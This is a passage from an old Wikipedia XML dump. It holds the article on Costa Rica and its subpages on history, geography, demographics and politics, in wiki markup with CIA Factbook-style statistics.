In [[Pre-Columbian]] times the [[Native American (Americas)|Native American]]s in what is now [[Costa Rica]] were part of the [[Intermediate Area]] located between the [[Mesoamerican]] and [[Andean]] cultural regions.  This has recently been redefined to include the [[Isthmo-Colombian]] area, defined by the presence of groups that spoke [[Chibchan languages]]. These groups are also believed to have created the [[Stone spheres of Costa Rica]], between [[200 BC]] and AD [[1600]].

[[image:NicoyaCeramics.jpg|thumb|left|140px|Pre-Columbian Ceramics from Nicoya, Costa Rica]]The native people of the [[Mayans]] and [[Aztecs]] were conquered by [[Spain]] in the [[16th century]]. Costa Rica was then the southernmost province in the Spanish territory of [[New Spain]]. The provincial capital was in [[Cartago, Costa Rica|Cartago]]. 

After briefly joining the Mexican Empire of [[Agustín de Iturbide]] (''see:'' [[History of Mexico]] and [[Mexican Empire]]), Costa Rica became a state in the [[United Provinces of Central America]] (''see:'' [[History of Central America]]) from [[1823]] to [[1839]]. In [[1824]], the capital moved to [[San José, Costa Rica|San José]]. From the [[1840s]] on, Costa Rica was an independent nation.

Costa Rica has avoided the violence that has plagued Central America; it is seen as an example of political stability in the region, and is referred to as the &quot;[[Switzerland]] of the [[Americas]]&quot;. Since the late [[19th century]] only two brief periods of violence have marred its democratic development. In [[1949]], [[José Figueres Ferrer]] abolished the [[army]]; and since then Costa Rica has been one of the few countries to operate within the democratic system without the assistance of a military. 

Costa Rica (Spanish for &quot;Rich Coast&quot;), although still a largely agricultural country, has achieved a relatively high standard of living. Land ownership is widespread and [[Electronics]] is a rapidly expanding industry.

==Geography==
[[Image:Costa Rica fishing boat.jpg|thumb|left|140px|''Rich Coast:'' fishermen set sail near Quepos, on the Pacific coast.]]

Costa Rica is located on the [[Central America]]n [[isthmus]], 10° North of the [[equator]] and 84° West of the [[Prime Meridian]]. It borders both the [[Caribbean Sea]] (to the east) and the [[Pacific Ocean|North Pacific Ocean]] (to the west), with a total of 1,290 kilometres (802&amp;nbsp;[[mile|mi]]) of coastline (212&amp;nbsp;km / 132&amp;nbsp;mi on the Caribbean coast and 1,016&amp;nbsp;km / 631&amp;nbsp;mi on the Pacific).

Costa Rica also borders [[Nicaragua]] to the north (309&amp;nbsp;km / 192&amp;nbsp;mi of border) and [[Panama]] to the south-southeast (639&amp;nbsp;km / 397&amp;nbsp;mi of border). In total, Costa Rica comprises 51,100 square kilometers (19,730 [[square mile|sq.&amp;nbsp;mi]]), of which 50,610 square kilometers (19,540&amp;nbsp;sq.&amp;nbsp;mi) is land and 440 square kilometers (170&amp;nbsp;sq.&amp;nbsp;mi) is water, making it slightly smaller than the [[U.S. state]] of [[West Virginia]] and about half the size of [[Ireland]].

The highest point in the country is [[Cerro Chirripo]], with 3,810 [[metre]]s (12,500 [[foot (unit of length)|ft]]), the second highest peak in Central America, after [[Volcan Tajumulco]] in [[Guatemala]]. The highest volcano in the country is the [[Irazú|Irazú Volcano]] (3,431&amp;nbsp;m or 11,257&amp;nbsp;ft).

Costa Rica also comprises several islands. [[Cocos Island]] stands out because of its distance from continental landmass (24&amp;nbsp;km² or 9.25&amp;nbsp;sq&amp;nbsp;mi, 500&amp;nbsp;km or 310&amp;nbsp;mi from [[Puntarenas]] coast), but [[Calero Island]] is the biggest island of the country (151.6&amp;nbsp;km² or 58.5&amp;nbsp;sq&amp;nbsp;mi).

The largest lake in Costa Rica is [[Lake Arenal]]. The country is highly recognized and praised for its [[National Parks of Costa Rica|national park system]]: a developed and progressive system which stresses [[ecotourism]]. Costa Rica protects over 25% of its national territory within national parks.

==Politics==
[[Image:CostaRica.AbelPacheco.01.jpg|thumb|Abel Pacheco, President of Costa Rica (2002-2006) © Organization of American States]]
{{main|Politics of Costa Rica}}

Costa Rica is a democratic republic with a strong constitution. It is seen as one of the most stable countries in Latin America. Costa Rica has avoided the violence that has plagued Central America; it is seen as an example of political stability in the region, and is referred to as the &quot;Switzerland of the Americas&quot;. Executive responsibilities are vested in a [[List of Presidents of Costa Rica|president]], who is the country's center of power. There also are two vice presidents and a 15-member cabinet that includes one of the vice presidents. The president and 57 [[Legislative Assembly of Costa Rica|Legislative Assembly]] deputies are elected for 4-year terms. A constitutional amendment approved in [[1969]] limited presidents and deputies to one term, although a deputy may run again for an Assembly seat after sitting out a term. An amendment to the constitution to allow second presidential terms was proposed and also the constitutionality of the prohibition against a second presidential term has been challenged in the courts.  In April [[2003]] the prohibition was officially recognized, in a highly polemic resolution,  as anti-constitutional allowing [[Óscar Arias]] ([[Nobel Peace Prize]], [[1987]]) to run for President a second time in the upcoming 2006 elections. Arias is a promoter of free trade and supports the free trade agreement with the United States which is the source of a great controversy that might develop in protests around the country in the upcoming months. Costa Rica uses a form of [[proportional representation]] to elect its national legislative body.

Governors appointed by the president head the country's seven provinces, but they exercise little power. There are no provincial legislatures. Autonomous state agencies enjoy considerable operational independence; they include the telecommunications and electrical power monopoly, the nationalized commercial banks, the state insurance monopoly, and the social security agency. Costa Rica has no military by constitution but maintains domestic Police and armed National Guard forces for internal security.

''See also: [[Military of Costa Rica]]''

==Provinces==
{{main|Provinces of Costa Rica}}
[[Image:Costa Rica provinces.png|thumb|Provinces of Costa Rica]]

Costa Rica consists of seven provinces:

# 
# [[Alajuela Province|Alajuela]] (central; north of capital [[San Jose, Costa Rica|San José]], agriculture and industrial manufacturing)
# [[Cartago Province|Cartago]] (former Costa Rican Provicial capital during colonial times)
# [[Guanacaste Province|Guanacaste]] (north-west, important touristic and agricultural area)
# [[Heredia Province|Heredia]] (central; north of capital, manufacturing and core of Costa Rica's IT industry)
# [[Limón Province|Limón]] (caribbean coast, agricultural and eco-tourism area)
# [[Puntarenas Province|Puntarenas]] (along most of the Pacific coast, with a large bulge in the south-west and a smaller one at the northern end at both sides of the [[Golfo de Nicoya]], where the homonymous capital is located)
#[[San José Province|San José]] (Capital) (political and economical center of Costa Rica, see image below)

[[Image:Downtown_San_Jose.jpg|thumb|Downtown San José]]

==Economy==
{{main|Economy of Costa Rica}}

[[Costa Rica]]'s economy was based on [[agriculture]] (coffee, bananas, pineapples, ornamentals), but in recent times [[ecotourism]], [[electronics]],pharmaceutics, financial outsourcing and software develoment  are in the actuality the main sources of business. Costa Rica's location in the [[Central America]]n [[isthmus]] provides easy access to American markets as it has the same time zone as the central part of the United States and direct ocean access to Europe and Asia. 

The economy has been expanding for Costa Rica in part because the Government had implemented a seven year plan of expansion in the high tech industry.  The central government offers tax exemptions for those who are willing to invest in the country. High levels of education among its residents make the country an attractive investing location.  Several global high tech corporations have already started developing in the area exporting goods including chip manufacturer Intel and pharmaceutical companies such as Procter &amp; Gamble and Glaxo Smith Kline. Trade with South East Asia and Russia has boomed during 2004 and 2005, and the country is expected to obtain full Asia-Pacific Economic Cooperation Forum (APEC) membership by 2007 (the country became an observer in 2004).
 
For the fiscal year 2005 the country showed a government deficit of 2.1%, internal revenue increased an 18%, exports increased a 12.8% and the number of visiting tourists increased a 19%, reaching 1.5 million people. Economic growth stood at 4.2%, nevertheless the country faced high inflation (14%) and a trade deficit of 5.2%.  

The unit of [[currency]] is the [[Costa Rican colón|colón]] ([[CRC]]), which trades around 500 to the [[United States dollar|U.S. dollar]]; currently about 600 to the [[euro]].

==Foreign affairs==
While Costa Rica is not expected to join the tide of new left-leaning governments in Latin America its foreign policy does not always line up with the interests of the USA. Costa Rica is a member of the [[International Criminal Court]] and rejected U.S. offers to set up a security training center in the country on the grounds that a country with no army could not harbor a center with possible military purposes. The U.S. instead set up such a center in [[El Salvador]], a country alleged to have a tradition of human rights equivocacy. 

Costa Rica has no embassy in [[Cuba]], but does have an embassy in [[Israel]], and has diplomatic relations with the [[Republic of China]] in Taiwan, not the [[People's Republic of China]]. 

Costa Rica is currently a member of the [[Cairns Group]], an alliance of countries opposed to agricultural subsidies in the first world.

Costa Rica's main foreign policy objective is to foster human rights and sustainable development as a way to secure stability and growth. Nevertheless, economic pragmatism may prevail over ideology. For instance, during the [[Cold War]] Costa Rica was the first Central American country to have diplomatic ties with the [[Soviet Union]] as a way to boost its [[coffee]] exports, to the dismay of the [[Nixon]] administration.

==Flora and Fauna==
[[image:Anhinga b.jpg|left|thumb|[[Anhinga]] drying its feathers]]

Costa Rica is home to a rich variety of [[plant]]s and [[animal]]s.  While the country has only about 0.1% of the world's land mass, it contains 5% of the world's [[biodiversity]].  As Costa Rica has no [[military]] or [[navy]], but an abundance of [[wildlife]], it has been said that the [[soldiers]] are the leaf cutter [[ant]]s, the [[aviator|pilot]]s are the [[macaw]]s and the navy ships are the [[whale]]s. Over 25% of Costa Rica is composed of protected [[forest]]s and reserves. 

One national park that is internationally renowned among [[ecology|ecologists]] for its biodiversity (including big cats and [[tapirs]]) and where visitors can expect to see an abundance of wildlife is the [[Corcovado National Park]].

Tortuguero National Park (the name ''Tortuguero'' can be translated as turtle catcher or turtle hunter) is home to [[spider monkey|spider]], [[howler monkey|howler]] and [[White-throated Capuchin]] monkeys, the [[Three-toed sloth]], 320 species of birds (including eight species of [[parrot]]s), a variety of [[reptile]]s, but is mostly recognized for the annual nesting of the endangered green turtle. is considered the most important nesting site for this species. Giant leatherback, hawksbill, and loggerhead turtles also nest here.
 
The Monteverde Cloud Forest Reserve hosts 2,000 plant species including numerous [[orchid]]s. Over 400 types of [[birds]] can be found here, as well as over 100 species of [[mammal|mammals]]. Costa Rica as a whole has about 600 species of birds. The entity entrusted to do genetic and biochemical prospection on Costa Rica's biological wealth is the INBIO (Instituto Nacional de Biodiversidad), and it is allowed to collect royalties on any biological discoveries of medical importance. 

Also see: 
*[[Wildlife of Costa Rica]]
*[[List of birds of Costa Rica]]
*Instituto Nacional de Biodiversidad [http://www.inbio.ac.cr/es/default.html] 
&lt;br style=&quot;clear: left&quot;/&gt;

==Demographics==
[[Image:Metalchurchingreciacostarica.jpg|thumb|Metal church in grecia, Costa Rica]]
[[Image:Cataract on the Rio Savegre.jpg|thumb|200px|on the Rio Savegre just below San Gerardo de Dota in the Talamanca Mountains of Costa Rica]]
[[Image:Valle Central de Costa Rica.jpg|thumb|Valle Central de Costa Rica]]
[[Image:Oldchurchcartagocostarica.jpg|thumb|old basilica in Cartago, Costa Rica]]
[[Image:Teatro National de Costa Rica - inside.jpg|thumb|210px|inside of the Teatro National de Costa Rica, the Costa Rican national theatre]]
[[Image:Irazu Crater.jpg|thumb|The crater of Volcán Irazú, an active volcano near Cartago, Costa Rica]]

{{main|Demographics of Costa Rica}}

Costa Rica has a population of 4,016,173 persons (July 2005 est.) In the central part of the country, most people are of European descent but some are also [[mestizo]]s (to varying degrees).[http://www.infoplease.com/ce6/world/A0857591.html] Because of little intermarriage, most of the population today retain European complexions. The pure indigenous population today numbers about 29,000, less than one percent of the population. In [[Guanacaste Province]], most of the population descends from a mix of the [[Chorotega]] Indians, [[Bantu]] Africans and Spaniards. Descendants of black 19th-century [[Jamaican]] immigrant workers constitute an English-speaking minority and at three percent of the population number about 96,000. Altogether, Costa Ricans of European decent and [[mestizo]]s account for a combined 94 percent (the vast majority being of Spanish decent). Another one percent is [[Overseas Chinese|ethnically Chinese]]. [http://www.infoplease.com/ce6/world/A0857591.html] In addition there are many [[Americans]] and [[Canadians]] who either come to retire or move to the country to live.

&lt;!--http://www-rohan.sdsu.edu/~bzimmerm/Costa_Rica/images/mjrs.jpg--&gt;

==Culture==
{{main|Culture of Costa Rica}}
The locals refer to themselves as ''[[tico]]'', maje or ''mae'' (sort of &quot;man&quot;, actually ''maje'' means &quot;dumb&quot;) idiom in a very popular and &quot;only with close friends&quot; way, or ''tica'' (female).  &quot;Tico&quot; comes from the locally popular usage of &quot;tico&quot; diminutive suffixes (eg. 'momentico' instead of 'momentito'). The ''tico'' ideal is that of a very friendly, helpful, laid back, unhurried, educated and environmentally aware people, with little worry for deadlines or the &quot;normal&quot; stresses of United States life.  Visitors from the United States are often referred to as ''gringos'', which is virtually always congenial in nature.  The phrase &quot;Pura Vida&quot; (literally pure life) is a motto ubiquitous in Costa Rica. It encapsulates the pervading ideology of living in peace in a calm, unflustered manner, appreciating a life surrounded by nature and family and friends. 

Costa Rican traditions and culture tend to retain a strong degree of Spanish influence. Their spoken accent is rather closer to certain areas of Colombia than its Central American counterparts. Costa Rica boasts a varied history. Costa Rica was the point where the Mesoamerican and South American native cultures met. The northwest of the country, Nicoya, was the southernmost point of [[Nahuatl]] cultural influence when the Spanish conquerors ([[conquistadores]]) came in the 16th century. The center and southern portions of the country had [[Chibcha]] influences. However, the indigenous people have influenced modern Costa Rican culture to a relatively small degree, as most of the Indians died from disease and mistreatment by the Spaniards. The Atlantic coast, meanwhile, was populated with African slaves in the 17th and 18th centuries, although most Caribbean Costa Ricans of African ascent descend from Jamaican workers brought in during the 19th century to work in the construction of railways connecting the urban populations of the Central Plateau to the port of [[Limon]] on the Caribbean coast. During the 19th century Chinese and Italian immigrants came to the country to work on the construction of the railroad system as well


==Famous Costa Ricans==
* [[Óscar Arias Sánchez]], Nobel Peace Prize winner (1987) and President of the Republic (1986&amp;ndash;1990)
* [[Jose figueres|José Figueres Ferrer]], National caudillo and President of the Republic (1948&amp;ndash;1949, 1953&amp;ndash;1958, and 1970&amp;ndash;1974.
* [[Franklin Chang-Diaz|Franklin Chang Díaz]], Astronaut
* [[Clodomiro Picado Twight]], Toxicologist
* [[Claudia Poll]]. Olympic gold medallist
* [[Juan Santamaría]]. National hero
* [[Chavela Vargas]], singer
* [[Maribel Guardia]], singer, actress, model
* [[Debi Nova]], singer

==See also==
*[[Art of Costa Rica]]
*[[Culture of Costa Rica]]
*[[Communications in Costa Rica]]
*[[Cuisine of Costa Rica]]
*[[Demographics of Costa Rica]]
*[[Economy of Costa Rica]]
*[[Foreign relations of Costa Rica]]
*[[Geography of Costa Rica]]
*[[History of Costa Rica]]
*[[Language schools in Costa Rica]]
*[[List of Presidents of Costa Rica]]
*[[Military of Costa Rica]]
*[[Museums of Costa Rica]]
*[[Music of Costa Rica]]
*[[Politics of Costa Rica]]
*[[Transportation in Costa Rica]]
*[[Costa Rica national football team]]
*[[Universities of Costa Rica]]
*[[University of Costa Rica|Wikipedia page on the University of Costa Rica]] 

==References==
*{{note|puravida}} [http://www.costarica.com/Home/Culture/National_Symbols/National_Motto Article concerning the saying &quot;pura vida&quot;]
*''Some of the material in these articles comes from the [[CIA World Factbook]] 2000 and the 2003 U.S. Department of State website.''
*Economic information for 2005 comes from the UN Economic Commission for Latin America and the Caribbean, Preliminary Balance Document for 2005 (in Spanish)[http://www.eclac.cl/cgi-bin/getProd.asp?xml=/publicaciones/xml/8/23218/P23218.xml&amp;xsl=/de/tpl/p9f.xsl&amp;base=/tpl-i/top-bottom.xslt]

==External links==
{{sisterlinks|Costa Rica}}
* [http://wikitravel.org/en/Costa_Rica Wikitravel guide to Costa Rica]
* [http://www.visitcostarica.com/ ICT official tourism site (English|Spanish|Deutsch|Français)]
* [http://www.bccr.fi.cr Banco Central de Costa Rica] Central Bank Costa Rica
* [http://www.asamblea.go.cr/proyecto/constitu/const2.htm Constitution of the Republic of Costa Rica (In Spanish)]
* [http://www.costarica-online.com/en/english.htm Costa Rica City Guide] - Message Board and Photo Gallery (free site)
* [http://www.tourism-costarica.com/ Instituto Costarricense de Turismo] Official Costa Rican Tourism Portal
* [http://www.go.cr/enlaces.html Links by the government web site]
* [http://www.caribbean-on-line.com/islands/ca/camap.shtml Map of Costa Rica]
* [http://www.destination360.com/central-america/costa-rica/costa-rica.php Virtual Tours of Costa Rica]  
 
{{Central_America}}


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[[Category:Costa Rica|Costa Rica]]

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  <page>
    <title>History of Costa Rica</title>
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In [[Pre-Columbian]] times the [[Native American (Americas)|Native American]]s in what is now [[Costa Rica]] were part of the Intermediate Area, between the [[Mesoamerican]] and [[Andean]] cultural regions.

[[image:NicoyaCeramics.jpg|thumb|300px|Pre-Columbian Ceramics from Nicoya, Costa Rica]]

In [[1502]], on his fourth and last voyage to the New World, [[Christopher Columbus]] made the first European landfall in the area. Settlement of Costa Rica began in [[1522]]. The native peoples were conquered by [[Spain]] in the [[16th century]]. Costa Rica was then the southern-most province in the Spanish territory of [[New Spain]]. The provincial capital was in [[Cartago, Costa Rica|Cartago]]. 

For nearly three centuries, Spain administered the region as part of the [[Captaincy General of Guatemala]] under a military governor. The Spanish optimistically called the country &quot;Rich Coast&quot;. Finding little gold or other valuable minerals in Costa Rica, however, the Spanish turned to agriculture.

The small landowners' relative poverty, the lack of a large indigenous labor force, the population's ethnic and linguistic homogeneity, and Costa Rica's isolation from the Spanish colonial centers in Mexico and the Andes -- all contributed to the development of an autonomous and individualistic agrarian society. Even the Governor had to farm his own crops and tend to his own Garden due to the poverty that he lived in. An egalitarian tradition also arose. This tradition survived the widened class distinctions brought on by the 19th century introduction of banana- and coffee-cultivation and consequent accumulations of local wealth.

Costa Rica joined other Central American provinces in 1821 in a joint declaration of independence from Spain. After a brief time in the Mexican Empire of [[Agustín de Iturbide]] (''see:'' [[History of Mexico]] and [[Mexican Empire]]) Costa Rica became a state in the [[United States of Central America]] (''see:'' [[History of Central America]]) from [[1823]] to [[1839]]. In [[1824]] the capital was moved to [[San José, Costa Rica|San José]], but following a rivalry with [[Cartago, Costa Rica|Cartago]] that was violent. Although the newly independent provinces formed a Federation, border disputes broke out among them, adding to the region's turbulent history and conditions. Costa Rica's northern Guanacaste Province was annexed from Nicaragua in one such regional dispute. In 1838, long after the Central American Federation ceased to function in practice, Costa Rica formally withdrew and proclaimed itself sovereign.

In 1856, [[William Walker]], an American filibuster began incursions into Central America.  After landing in Nicaragua, he proclaimed himself president of Nicaragua and re-instated slavery.  He intended to expand into Costa Rica and after entering Costa Rican soil, Costa Rica declared war.  Led by Commander in Chief of the Army of Costa Rica, President Juan Rafael Mora, the filibusters were defeated and forced out of the country. Costa Rican forces followed the filibusters into Rivas, Nicaragua, where in a final battle, William Walker and his forces were finally pushed back.  Juan Santamaria, a drummer boy who lost his life torching the filibusters' stronghold, was killed in this final battle, and is today remembered as a national hero.

An era of peaceful democracy in Costa Rica began in [[1899]] with elections considered the first truly free and honest ones in the country's history.
 
Costa Rica has avoided much of the violence that has plagued much of [[Central America]]. Since the late [[19th century]], only two brief periods of violence have marred its democratic development. In 1917-19, [[Federico Tinoco Granados]] ruled as a dictator, and, in 1948, [[José Figueres Ferrer]] led an armed uprising in the wake of a disputed presidential election.In [[1949]], [[José Figueres Ferrer]] abolished the [[army]]; and since then, Costa Rica has been one of the few countries to operate within the democratic system without the assistance of a military. 

With more than 2,000 dead, the 44-day [[Costa Rica Civil War]] resulting from this uprising was the bloodiest event in 20th-century Costa Rican history, but the victorious junta drafted a constitution guaranteeing free elections with universal suffrage and the abolition of the military. Figueres became a national hero, winning the first election under the new constitution in 1953. Since then, Costa Rica has held 11 presidential elections, the latest in 2002.

Once a largely agricultural country, the twin pillars of Costa Rica's current economy are technology and eco-tourism. Costa Rica's major source of export income is technology based. Microsoft, Motorola, Intel and other technology related firms have established operations in Costa Rica. Local companies create and export software as well as other computer related products. Tourism is growing at an accelerated pace and many believe that income from this tourism may soon become the major contributor to the nation's GDP. Traditional agriculture, particularly coffee and bananas, continues to be an important contributor to Costa Rica's export income. Land ownership and wealth is widespread and the population enjoys a relatively high standard of living.

==See also==
*[[List of Presidents of Costa Rica]]
*[[Costa Rica Civil War]]

&lt;!--
==External links==
*[http://www.kostaryka.org/2001/history62.htm Very detailed history of the Republic of Costa Rica]
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      <text xml:space="preserve">[[Image:Costa Rica map.png|200px|thumb|right|Political map of Costa Rica.]]
[[Image:Costa Rica map shaded relief.png|200px|thumb|right|Shaded relief map of Costa Rica.]] 
[[Image:Costa Rica map detail.PNG|200px|thumb|right|Map of Costa Rica.]] 
[[Costa Rica]] is located on the [[Central America]]n [[Isthmus]], 10&amp;deg; north of the [[Equator]] and 84&amp;deg; west of the [[Prime Meridian]]. It borders both the [[Caribbean Sea]] (to the east) and the [[Pacific Ocean|North Pacific Ocean]] (to the west), with a total of 1,290 km of coastline (212 km on the Caribbean coast and 1016 km on the Pacific).

Costa Rica also borders [[Nicaragua]] to the north (309 km of border) and [[Panama]] to the south-southeast (330 km of border). In total, Costa Rica comprises 51,100 km&amp;sup2; of which 50,660 km&amp;sup2; is land and 440 km&amp;sup2; is water, making it slightly smaller than the [[U.S. state]] of [[West Virginia]].

The nation's [[terrain]] is coastal plain separated by rugged mountains in the center of the country. Costa Rica claims an [[exclusive economic zone]] of 200 [[nautical mile]]s (370 km) and a [[Territorial waters|territorial sea]] of 12 nautical miles (22 km). The country has a [[Tropics|tropical]] and [[subtropical]] climate and is part of the [[Neotropic]] [[ecozone]]. It is part of many [[ecoregion]]s, including Costa Rican seasonal moist forests, Bocas del Toro-San Bastimentos Island-San Blas mangroves, Mosquitia-Nicaraguan Caribbean Coast mangroves, Southern Dry Pacific Coast mangroves, Central American dry forests, and Talamancan montane forests.

The country is noted for its [[National Parks of Costa Rica|national park system]], administered by [[SINAC]] (''Sistema Nacional de Areas de Conservacion'', or &quot;National System of Conservation Areas&quot;). This agency oversees over 160 protected areas in Costa Rica, of which 26 are [[national park]]s. Together the protected areas comprise over one-forth of Costa Rican territory. The largest national park is [[Cocos Island]] ([[Spanish language|Spanish]]: ''Isla del Coco''), an island about 500 km from the Costa Rica's Pacific coast and 24km&amp;sup2; in area.

Costa Rica's dry season is from December to April, while the rainy season is from May to November. The highlands areas are always cooler. The lowest [[elevation]] level in the country is the Pacific Ocean at [[sea level]], the highest point is [[Cerro Chirripo]], a [[Volcano|volcanic]] mountain with an elevation of 3,810 m (part of Cerro Chirripo National Park). On a clear day, it is possible to sea both the Caribbean and the Pacific from the peak. 

Costa Rica is party to many environmental treaties, including the [[Convention on Biological Diversity]], the [[Convention on the Prohibition of Military or Any Other Hostile Use of Environmental Modification Techniques|Convention on Environmental Modification]], the [[United Nations Framework Convention on Climate Change]], the [[Montreal Protocol]], the [[Ramsar Convention]], the [[International Convention for the Regulation of Whaling]], the [[United Nations Convention to Combat Desertification|Desertification Convention]], the [[Convention on the International Trade in Endangered Species of Wild Flora and Fauna|Endangered Species Convention]], the [[Basel Convention]], the [[United Nations Convention on the Law of the Sea|Convention on the Law of the Sea]], the [[Convention on the Prevention of Marine Pollution by Dumping Wastes and Other Matter|Convention on Marine Dumping]], the [[Comprehensive Test Ban Treaty]]. It has signed but not ratifed the [[Convention on Fishing and Conservation of Living Resources of the High Seas|Convention on Marine Life Conservation]] and the [[Kyoto Protocol]].

'''Natural resources:'''
*[[Hydropower]] from [[Lake Arenal]], the largest lake in Costa Rica.


'''Natural hazards:'''
occasional [[earthquake]]s, [[hurricane]]s along [[Atlantic]] coast; frequent [[flood]]ing of lowlands at onset of rainy season; active [[volcano]]es (See [[Climate of Costa Rica]]).

'''Environment - current issues:'''
[[deforestation]], largely a result of the clearing of land for cattle ranching; soil [[erosion]]; water [[pollution]] (rivers); fisheries protection; solid waste management

==See also==
*[[Costa Rica]]
*[[Climate of Costa Rica]]

[[Category:Geography by country|Costa Rica]]
[[Category:Geography of Costa Rica|*]]

[[es:Geografía de Costa Rica]]
[[fr:Géographie du Costa Rica]]
[[pt:Geografia da Costa Rica]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Costa Rica</title>
    <id>5554</id>
    <revision>
      <id>41547145</id>
      <timestamp>2006-02-28T01:57:47Z</timestamp>
      <contributor>
        <ip>147.26.216.126</ip>
      </contributor>
      <comment>/* Population */</comment>
      <text xml:space="preserve">[[Image:Costa Rica demography.png|thumb|300px|right|Demographics of Costa Rica, Data of [[Food and Agriculture Organization|FAO]], year 2005 ; Number of inhabitants in thousands.]]

The indigenous population today numbers about 29,000 or less than 1% of the population. Descendants of 19th century [[Jamaica]]n immigrant workers constitute an English-speaking minority and -- at 3% of the population -- number about 96,000.  An important and growing ethnic group in Costa Rica are [[Nicaraguan]]s who represent 10% of the population. Most of these [[Nicaraguan]]s are refugees from the Sandinista regime that existed in [[Nicaragua]], and today work as manual laborers. Racism against the Nicaraguans is common, and their position in society has been compared to the Mexican situation in the United States.

The main migrants were once those of [[Germany|German]], [[Polish people|Polish]], [[Italia]]n, and [[Jewish]] ancestry, but today there is a growing number of [[Amerindian]] people who migrate for seasonal work opportunities as agricultural workers. There is also a growing number of [[Colombia]]n, [[Panama]]nian and [[Peru]]vian refugees who call Costa Rica home, an example of Costa Rica's hospitality and peaceful government in Latin America. There are also many Americans who retire or come to live in Costa Rica.

==Demographic data from the CIA World Factbook==

0

===Age structure===
:0-14 years: 28.9% (male 593,540/female 566,361)
:15-64 years: 65.5% (male 1,330,481/female 1,300,664)
:65 years and over: 5.6% (male 104,564/female 120,563) (2005 est.)

===Median age===
:Total: 26.03 years
:Male: 25.59 years
:Female: 26.5 years (2005 est.)

===Population growth rate===
:1.48% (2005 est.)

===Birth rate===
:18.6 births/1,000 population (2005 est.)

===Death rate===
:4.33 deaths/1,000 population (2005 est.)

===Net migration rate===
:0.5 migrant(s)/1,000 population (2005 est.)

===Sex ratio===
:At birth: 1.05 male(s)/female
:Under 15 years: 1.05 male(s)/female
:15-64 years: 1.02 male(s)/female
:65 years and over: 0.87 male(s)/female
:Total population: 1.02 male(s)/female (2005 est.)

===Infant mortality rate===
:Total: 9.95 deaths/1,000 live births
:Male: 10.85 deaths/1,000 live births
:Female: 9 deaths/1,000 live births (2005 est.)

===Life expectancy at birth===
:Total population: 76.84 years
:Male: 74.26 years
:Female: 79.55 years (2005 est.)

===Total fertility rate===
:2.28 children born/woman (2005 est.)

===HIV/AIDS===
:Adult prevalence rate: 0.6% (2003 est.)
:People living with HIV/AIDS: 12,000 (2003 est.)
:Deaths: 900 (2003 est.)

===Nationality===
:Noun: Costa Rican(s)
:Adjective: Costa Rican

===Ethnic groups===
:white (including mestizo) 94%, black 3%, Amerindian 1%, Chinese 1%, other 1%

===Religions===
:Roman Catholic 76.3%, Evangelical 13.7%, Jehovah's Witnesses 1.3%, other Protestant 0.7%, other 4.8%, none 3.2%

===Languages===
:Spanish (official), English

===Literacy===
:Definition: age 15 and over can read and write
:Total population: 96%
:Male: 95.9%
:Female: 96.1% (2003 est.)

==References==
{{CIA WFB 2005}}

==External links==
*[http://www.unicef.org/infobycountry/costarica_statistics.html#6 UNICEF Information about Costa Rica's Demographics]
*[http://www.inec.go.cr INEC]. [[Instituto Nacional de Estadística y Censos de Costa Rica|National Institute of Statistics and Census]] (in Spanish)


[[Category:Demographics of Costa Rica| ]]

[[es:Demografía de Costa Rica]]
[[pt:Demografia da Costa Rica]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Costa Rica</title>
    <id>5555</id>
    <revision>
      <id>39644169</id>
      <timestamp>2006-02-14T22:12:28Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>/* Quick facts: */</comment>
      <text xml:space="preserve">{{Politics of Costa Rica}}

[[Costa Rica]] is a [[democracy|democratic]] [[republic]] with a strong system of constitutional checks and balances. Executive responsibilities are vested in a [[List of Presidents of Costa Rica|president]], who is the country's center of power. There also are two vice presidents and a 15-member cabinet that includes one of the vice presidents. The president and 57 [[Legislative Assembly of Costa Rica|Legislative Assembly]] deputies are elected for 4-year terms. A constitutional amendment approved in [[1969]] limits presidents and deputies to one term, although a deputy may run again for an Assembly seat after sitting out a term. The prohibition was officially recognized as anti-constitutional in April 2003, allowing [[Óscar Arias]] to run for President a second time in the [[Costa Rica presidential elections, 2006|2006 Costa Rican presidential elections]].

The electoral process is supervised by an independent Supreme Electoral Tribunal &amp;ndash; a commission of three principal magistrates and six alternates selected by the [[Supreme Court]] of Justice. Judicial power is exercised by the Supreme Court of Justice, composed of 22 magistrates selected for renewable 8-year terms by the Legislative Assembly, and subsidiary courts. A Constitutional Chamber of the Supreme Court, established in 1989, reviews the constitutionality of legislation and executive decrees and all habeas corpus warrants.

The offices of the Comptroller General of the Republic, the Procurator General of the Public, and the Ombudsman exercise autonomous oversight of the government. The Comptroller General's office has a statutory responsibility to scrutinize all but the smallest contracts of the public sector and strictly enforces procedural requirements.

Governors appointed by the president head the country's seven provinces, but they exercise little power. There are no provincial legislatures. Autonomous state agencies enjoy considerable operational independence; they include the telecommunications and electrical power monopoly, the nationalized commercial banks, the state insurance monopoly, and the social security agency. Costa Rica has no military but maintains domestic Police and armed National Guard forces securing its interests.

'''Principal Government Officials'''&lt;br&gt;
President: [[Abel Pacheco|Abel Pacheco de la Espriella]] ([[2002]]-[[2004]])&lt;br&gt;
Foreign Minister: Roberto Tovar Faja&lt;br&gt;
Ambassador to the [[Organization of American States|OAS]]: Walter Niehaus Bonilla&lt;br&gt;
Ambassador to the [[United Nations|UN]]: Bernd Niehaus (permanent office)

==Political conditions ==
Costa Rica long has emphasized the development of democracy and respect for [[human rights]]. Until recently, the country's political system has contrasted sharply with many of its [[Central America]]n and [[Caribbean]] neighbors; it has steadily developed and maintained democratic institutions and an orderly, constitutional scheme for government succession. Several factors have contributed to this tendency, including enlightened government leaders, comparative prosperity, flexible class lines, educational opportunities that have created a stable middle class, and high social indicators. Also, because Costa Rica has no armed forces, it has avoided the possibility of political intrusiveness by the military that some neighboring countries have experienced. Costa Rica experienced several unusual days of demonstrations and civil disturbance in early [[2000]] due to protests over legislation that would have permitted private sector participation in the telecommunications and electrical power sectors. These sectors currently are controlled by state-owned monopolies. The legislation was withdrawn, but the underlying question of the appropriate role of the state in the provision of public services remains sensitive.

